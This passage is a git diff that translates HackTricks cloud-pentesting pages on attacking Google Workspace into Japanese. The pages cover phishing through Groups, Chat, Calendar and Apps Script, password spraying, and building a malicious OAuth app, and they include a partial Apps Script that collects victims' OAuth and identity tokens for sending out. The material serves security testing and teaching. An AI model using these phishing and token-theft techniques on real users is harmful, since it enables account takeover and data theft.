mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-01 10:35:06 -07:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
### Google Platforms and OAuth Apps Phishing
|
||||
|
||||
Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
|
||||
被害者にフィッシングリンクを送信するために、Drive、Chat、GroupsなどのさまざまなGoogleプラットフォームをどのように使用できるか、またGoogle OAuthフィッシングをどのように実行するかを確認してください。
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
@@ -14,11 +14,11 @@ gws-google-platforms-phishing/
|
||||
|
||||
### Password Spraying
|
||||
|
||||
In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
|
||||
見つけたすべてのメールアドレス(または発見したメール名パターンに基づいて生成したもの)でパスワードをテストするために、[**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing)のようなツールを使用できます(メンテナンスされていないようですが)。このツールは、AWSラムダを使用してIPアドレスを変更します。
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
|
||||
いくつかの資格情報やユーザーのセッションを侵害した場合、ユーザーの潜在的な機密情報にアクセスし、特権を昇格させるためにいくつかのアクションを実行できます。
|
||||
|
||||
{{#ref}}
|
||||
gws-post-exploitation.md
|
||||
@@ -26,17 +26,17 @@ gws-post-exploitation.md
|
||||
|
||||
### GWS <-->GCP Pivoting
|
||||
|
||||
Read more about the different techniques to pivot between GWS and GCP in:
|
||||
GWSとGCPの間でピボットするためのさまざまな技術について詳しく読むには、こちらを参照してください。
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
|
||||
- **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
|
||||
- **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
- **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
- **GCPW (Google Credential Provider for Windows)**: これは、Google Workspacesが提供するシングルサインオンで、ユーザーは**自分のWorkspace資格情報**を使用してWindows PCにログインできます。さらに、これはPCのいくつかの場所にGoogle Workspaceにアクセスするためのトークンを**保存します**。
|
||||
- **GCDS (Google Cloud Directory Sync)**: これは、**アクティブディレクトリのユーザーとグループをWorkspaceに同期するために使用できるツール**です。このツールは、**Workspaceのスーパーユーザーおよび特権のあるADユーザーの資格情報**を必要とします。したがって、ユーザーを時々同期させているドメインサーバー内で見つけることができるかもしれません。
|
||||
- **Admin Directory Sync**: これは、[https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)からサーバーレスプロセスでADおよびEntraIDのユーザーを同期することを可能にします。
|
||||
|
||||
{{#ref}}
|
||||
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
@@ -44,7 +44,7 @@ gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
|
||||
## Persistence
|
||||
|
||||
If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
|
||||
いくつかの資格情報やユーザーのセッションを侵害した場合、持続性を維持するためのこれらのオプションを確認してください。
|
||||
|
||||
{{#ref}}
|
||||
gws-persistence.md
|
||||
@@ -52,18 +52,18 @@ gws-persistence.md
|
||||
|
||||
## Account Compromised Recovery
|
||||
|
||||
- Log out of all sessions
|
||||
- Change user password
|
||||
- Generate new 2FA backup codes
|
||||
- Remove App passwords
|
||||
- Remove OAuth apps
|
||||
- Remove 2FA devices
|
||||
- Remove email forwarders
|
||||
- Remove emails filters
|
||||
- Remove recovery email/phones
|
||||
- Removed malicious synced smartphones
|
||||
- Remove bad Android Apps
|
||||
- Remove bad account delegations
|
||||
- すべてのセッションからログアウト
|
||||
- ユーザーパスワードの変更
|
||||
- 新しい2FAバックアップコードの生成
|
||||
- アプリパスワードの削除
|
||||
- OAuthアプリの削除
|
||||
- 2FAデバイスの削除
|
||||
- メール転送の削除
|
||||
- メールフィルターの削除
|
||||
- 回復用メール/電話の削除
|
||||
- 悪意のある同期スマートフォンの削除
|
||||
- 悪いAndroidアプリの削除
|
||||
- 悪いアカウントの委任の削除
|
||||
|
||||
## References
|
||||
|
||||
@@ -71,7 +71,3 @@ gws-persistence.md
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -10,160 +10,152 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## Google Groups Phishing
|
||||
|
||||
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
|
||||
デフォルトでは、workspaceのメンバーは[**グループを作成でき**](https://groups.google.com/all-groups) **、人を招待できます**。その後、ユーザーに送信されるメールを**リンクを追加して**修正できます。**メールはGoogleのアドレスから送信される**ため、**正当なものに見え**、人々はリンクをクリックするかもしれません。
|
||||
|
||||
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
|
||||
**FROM**アドレスを**Googleグループのメール**として設定し、**グループ内のユーザーにさらにメールを送信する**ことも可能です。以下の画像のように、グループ**`google--support@googlegroups.com`**が作成され、**グループのすべてのメンバーにメールが送信されました**(同意なしに追加されたメンバー)。
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Google Chat Phishing
|
||||
|
||||
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
|
||||
メールアドレスを持っている人と**チャットを開始する**か、**会話の招待を送信する**ことができるかもしれません。さらに、任意の名前(例:"Google Support")の**スペースを作成**し、メンバーを招待することが可能です。彼らが受け入れれば、Google Supportと話していると思うかもしれません:
|
||||
|
||||
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **In my testing however the invited members didn't even receive an invitation.**
|
||||
> **ただし、私のテストでは招待されたメンバーは招待を受け取らなかった。**
|
||||
|
||||
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
過去にこれがどのように機能したかは、[https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)で確認できます。
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
|
||||
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
|
||||
過去には、**一見正当な文書**を作成し、コメントで**いくつかのメール(例:@user@gmail.com)を言及する**ことが可能でした。Googleはそのメールアドレスに**文書で言及されたことを通知するメールを送信しました**。\
|
||||
現在では、これは機能しませんが、**被害者に文書へのアクセスを与える**と、Googleはその旨を示すメールを送信します。これが誰かを言及したときに表示されるメッセージです:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
|
||||
> 被害者には、外部文書が共有されたことを示すメールが届かないようにする保護メカニズムがあるかもしれません。
|
||||
|
||||
## Google Calendar Phishing
|
||||
|
||||
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
|
||||
**カレンダーイベントを作成**し、攻撃している会社のメールアドレスをできるだけ多く追加できます。このカレンダーイベントを**現在の時間から5分または15分後**にスケジュールします。イベントを正当なものに見せ、**何かを読む必要があることを示すコメントとタイトルを付けます**(**フィッシングリンク**付き)。
|
||||
|
||||
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
|
||||
これは、会議のタイトル「人を解雇する」としてブラウザに表示されるアラートです。したがって、よりフィッシングのようなタイトルを設定することができます(メールに関連付けられた名前を変更することも可能です)。
|
||||
|
||||
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To make it look less suspicious:
|
||||
疑わしく見えないようにするために:
|
||||
|
||||
- Set it up so that **receivers cannot see the other people invited**
|
||||
- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
|
||||
- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
|
||||
- **受信者が他の招待された人を見えないように設定する**
|
||||
- **イベントについて通知するメールを送信しない**。そうすれば、人々は5分後の会議についての警告と、そのリンクを読む必要があることだけを見ることになります。
|
||||
- APIを使用すると、**人々が**イベントを**受け入れた**ことを**True**に設定し、**彼らの代わりにコメントを作成する**ことも可能です。
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
|
||||
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
|
||||
|
||||
[https://script.google.com/](https://script.google.com/)でスクリプトを作成し、**誰でもアクセスできるWebアプリケーションとして公開する**ことが可能で、正当なドメイン**`script.google.com`**を使用します。\
|
||||
次のようなコードを使用すると、攻撃者はこのページに任意のコンテンツを読み込ませることができ、ドメインへのアクセスを停止することなく行うことができます:
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
}
|
||||
```
|
||||
|
||||
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
|
||||
例えば、[https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec)にアクセスすると、次のようになります:
|
||||
|
||||
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note that a warning will appear as the content is loaded inside an iframe.
|
||||
> コンテンツがiframe内に読み込まれると、警告が表示されることに注意してください。
|
||||
|
||||
## App Scripts OAuth Phishing
|
||||
## アプリスクリプトOAuthフィッシング
|
||||
|
||||
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
|
||||
ドキュメントに添付されたアプリスクリプトを作成して、被害者のOAuthトークンへのアクセスを試みることが可能です。詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gws-app-scripts.md
|
||||
{{#endref}}
|
||||
|
||||
## OAuth Apps Phishing
|
||||
## OAuthアプリフィッシング
|
||||
|
||||
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
|
||||
前述の技術のいずれかを使用して、ユーザーに**Google OAuthアプリケーション**にアクセスさせ、ユーザーに**アクセス**を**要求**することができます。ユーザーが**ソース**を**信頼**すれば、**アプリケーション**を**信頼**するかもしれません(たとえそれが高い権限の要求をしていても)。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
|
||||
> Googleは、アプリケーションが信頼されていないことを警告する醜いプロンプトをいくつかのケースで表示し、Workspace管理者はOAuthアプリケーションの受け入れを防ぐことさえできます。
|
||||
|
||||
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
|
||||
**Google**は、ユーザーの代わりに**Googleサービス**(Gmail、Drive、GCPなど)と**対話**できるアプリケーションを作成することを許可しています。
|
||||
|
||||
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
|
||||
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
|
||||
他のユーザーの代わりに**行動する**アプリケーションを作成する際、開発者は**GCP内にOAuthアプリ**を作成し、アプリがユーザーデータにアクセスするために必要なスコープ(権限)を指定する必要があります。\
|
||||
**ユーザー**がその**アプリケーション**を**使用**したい場合、彼らは**スコープ**で指定されたデータへのアクセスをアプリケーションが持つことを**受け入れる**ように**促されます**。
|
||||
|
||||
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
|
||||
これは、非技術的なユーザーを**機密情報にアクセスするアプリケーション**の使用に**フィッシング**する非常に魅力的な方法です。彼らは結果を理解していないかもしれません。しかし、組織のアカウントでは、これを防ぐ方法があります。
|
||||
|
||||
### Unverified App prompt
|
||||
### 未確認アプリのプロンプト
|
||||
|
||||
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
|
||||
前述のように、Googleは常に**ユーザーにアプリケーションに与える権限を受け入れるように促すプロンプト**を表示します。しかし、アプリケーションが**危険**と見なされる場合、Googleは**最初に**それが**危険**であることを示す**プロンプト**を表示し、ユーザーがアプリに権限を付与するのを**より困難にします**。
|
||||
|
||||
This prompt appears in apps that:
|
||||
このプロンプトは、次のようなアプリに表示されます:
|
||||
|
||||
- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
|
||||
- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
|
||||
- プライベートデータにアクセスできるスコープを使用するアプリ(Gmail、Drive、GCP、BigQueryなど)
|
||||
- 100人未満のユーザーを持つアプリ(100人以上のアプリは、未確認プロンプトを表示しないためにレビューが必要です)
|
||||
|
||||
### Interesting Scopes
|
||||
### 興味深いスコープ
|
||||
|
||||
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
|
||||
[**こちら**](https://developers.google.com/identity/protocols/oauth2/scopes)で、すべてのGoogle OAuthスコープのリストを見つけることができます。
|
||||
|
||||
- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
|
||||
- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
|
||||
- **cloud-platform**: **Google Cloud Platform**サービス全体でデータを表示および管理します。GCPでユーザーを偽装できます。
|
||||
- **admin.directory.user.readonly**: 組織のGSuiteディレクトリを表示およびダウンロードします。すべてのユーザーの名前、電話番号、カレンダーURLを取得します。
|
||||
|
||||
### Create an OAuth App
|
||||
### OAuthアプリの作成
|
||||
|
||||
**Start creating an OAuth Client ID**
|
||||
**OAuthクライアントIDの作成を開始します**
|
||||
|
||||
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
|
||||
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
|
||||
- Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
|
||||
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
|
||||
4. **Select** the **OAuth scopes**.
|
||||
- This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
|
||||
- Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
|
||||
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
|
||||
1. [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient)にアクセスし、同意画面を設定するをクリックします。
|
||||
2. 次に、**ユーザータイプ**が**内部**(組織内の人のみ)か**外部**かを尋ねられます。ニーズに合った方を選択してください。
|
||||
- 内部は、すでに組織のユーザーを侵害しており、別のユーザーをフィッシングするためにこのアプリを作成している場合に興味深いかもしれません。
|
||||
3. アプリに**名前**、**サポートメール**(自分を少し匿名化するためにgooglegroupメールを設定できることに注意)、**ロゴ**、**承認されたドメイン**、および**更新用の別のメール**を付けます。
|
||||
4. **OAuthスコープ**を**選択**します。
|
||||
- このページは、非機密の権限、機密の権限、および制限された権限に分かれています。新しい権限を追加するたびに、そのカテゴリに追加されます。要求された権限に応じて、ユーザーに対してこれらの権限がどれほど機密であるかを示す異なるプロンプトが表示されます。
|
||||
- **`admin.directory.user.readonly`**と**`cloud-platform`**は機密の権限です。
|
||||
5. **テストユーザーを追加します。** アプリのステータスがテスト中の間、これらのユーザーのみがアプリにアクセスできるため、**フィッシングするメールを追加することを確認してください**。
|
||||
|
||||
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
|
||||
次に、**以前に作成したOAuthクライアントID**を使用して**Webアプリケーションの資格情報を取得します**:
|
||||
|
||||
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
|
||||
2. Select to **create credentials for a Web application**
|
||||
3. Set needed **Javascript origins** and **redirect URIs**
|
||||
- You can set in both something like **`http://localhost:8000/callback`** for testing
|
||||
4. Get your application **credentials**
|
||||
|
||||
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
1. [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient)に戻ると、今回は異なるオプションが表示されます。
|
||||
2. **Webアプリケーションの資格情報を作成する**を選択します。
|
||||
3. 必要な**Javascriptオリジン**と**リダイレクトURI**を設定します。
|
||||
- テスト用に**`http://localhost:8000/callback`**のようなものを両方に設定できます。
|
||||
4. アプリケーションの**資格情報を取得します**。
|
||||
|
||||
最後に、**OAuthアプリケーションの資格情報を使用するWebアプリケーションを実行します**。例は[https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example)で見つけることができます。
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
pip install flask requests google-auth-oauthlib
|
||||
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
```
|
||||
|
||||
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
|
||||
**`http://localhost:8000`** に移動し、Googleでログインボタンをクリックすると、次のようなメッセージが表示されます:
|
||||
|
||||
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
|
||||
アプリケーションは、簡単に使用できる**アクセストークンとリフレッシュトークン**を表示します。**これらのトークンの使用方法についての詳細は**以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
#### Using `glcoud`
|
||||
#### `glcoud`の使用
|
||||
|
||||
It's possible to do something using gcloud instead of the web console, check:
|
||||
ウェブコンソールの代わりにgcloudを使用して何かを行うことが可能です。以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+100
-112
@@ -4,236 +4,224 @@
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
|
||||
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
|
||||
App Scriptsは、**編集者権限を持つユーザーがApp Scriptにリンクされたドキュメントにアクセスしたときにトリガーされるコード**であり、**OAuthプロンプトを受け入れた後**に実行されます。\
|
||||
また、App Scriptの所有者によって**特定の時間ごとに実行されるように設定することもできます**(持続性)。
|
||||
|
||||
### Create App Script
|
||||
### App Scriptの作成
|
||||
|
||||
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
|
||||
App Scriptを作成する方法はいくつかありますが、最も一般的な方法は**Googleドキュメント(任意のタイプ)から**と**スタンドアロンプロジェクトとして**作成することです:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
|
||||
<summary>Google Docs、Sheets、またはSlidesからコンテナバウンドプロジェクトを作成する</summary>
|
||||
|
||||
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
|
||||
2. Click **Extensions** > **Google Apps Script**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Docsドキュメント、Sheetsスプレッドシート、またはSlidesプレゼンテーションを開きます。
|
||||
2. **拡張機能** > **Google Apps Script**をクリックします。
|
||||
3. スクリプトエディタで、**無題のプロジェクト**をクリックします。
|
||||
4. プロジェクトに名前を付けて、**名前の変更**をクリックします。
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project</summary>
|
||||
<summary>スタンドアロンプロジェクトを作成する</summary>
|
||||
|
||||
To create a standalone project from Apps Script:
|
||||
Apps Scriptからスタンドアロンプロジェクトを作成するには:
|
||||
|
||||
1. Go to [`script.google.com`](https://script.google.com/).
|
||||
2. Click add **New Project**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. [`script.google.com`](https://script.google.com/)に移動します。
|
||||
2. **新しいプロジェクト**を追加します。
|
||||
3. スクリプトエディタで、**無題のプロジェクト**をクリックします。
|
||||
4. プロジェクトに名前を付けて、**名前の変更**をクリックします。
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project from Google Drive</summary>
|
||||
<summary>Google Driveからスタンドアロンプロジェクトを作成する</summary>
|
||||
|
||||
1. Open [Google Drive](https://drive.google.com/).
|
||||
2. Click **New** > **More** > **Google Apps Script**.
|
||||
1. [Google Drive](https://drive.google.com/)を開きます。
|
||||
2. **新規** > **その他** > **Google Apps Script**をクリックします。
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Forms</summary>
|
||||
<summary>Google Formsからコンテナバウンドプロジェクトを作成する</summary>
|
||||
|
||||
1. Open a form in Google Forms.
|
||||
2. Click More more_vert > **Script editor**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Google Formsでフォームを開きます。
|
||||
2. その他 more_vert > **スクリプトエディタ**をクリックします。
|
||||
3. スクリプトエディタで、**無題のプロジェクト**をクリックします。
|
||||
4. プロジェクトに名前を付けて、**名前の変更**をクリックします。
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project using the clasp command line tool</summary>
|
||||
<summary>claspコマンドラインツールを使用してスタンドアロンプロジェクトを作成する</summary>
|
||||
|
||||
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
|
||||
`clasp`は、ターミナルからApps Scriptプロジェクトを作成、プル/プッシュ、デプロイすることを可能にするコマンドラインツールです。
|
||||
|
||||
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
|
||||
詳細については、[Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp)を参照してください。
|
||||
|
||||
</details>
|
||||
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
## App Scriptシナリオ <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Create Google Sheet with App Script
|
||||
### App ScriptでGoogle Sheetを作成する
|
||||
|
||||
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
|
||||
App Scriptを作成することから始めます。このシナリオに対する私の推奨は、Google Sheetを作成し、**`拡張機能 > App Scripts`**に移動することです。これにより、**シートにリンクされた新しいApp Scriptが開きます**。
|
||||
|
||||
### Leak token
|
||||
### トークンの漏洩
|
||||
|
||||
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
|
||||
OAuthトークンへのアクセスを提供するには、**`サービス +`をクリックし、次のようなスコープを追加する必要があります**:
|
||||
|
||||
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
|
||||
- **Gmail**: To access gmail data
|
||||
- **Drive**: To access drive data
|
||||
- **Google Sheets API**: So it works with the trigger
|
||||
|
||||
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
|
||||
- **AdminDirectory**: ディレクトリのユーザーとグループにアクセス(ユーザーに十分な権限がある場合)
|
||||
- **Gmail**: Gmailデータにアクセス
|
||||
- **Drive**: Driveデータにアクセス
|
||||
- **Google Sheets API**: トリガーと連携するため
|
||||
|
||||
自分で**必要なスコープ**を変更するには、プロジェクト設定に移動し、**`エディタに「appsscript.json」マニフェストファイルを表示`を有効にします。**
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
|
||||
// To ask for gmail permissions
|
||||
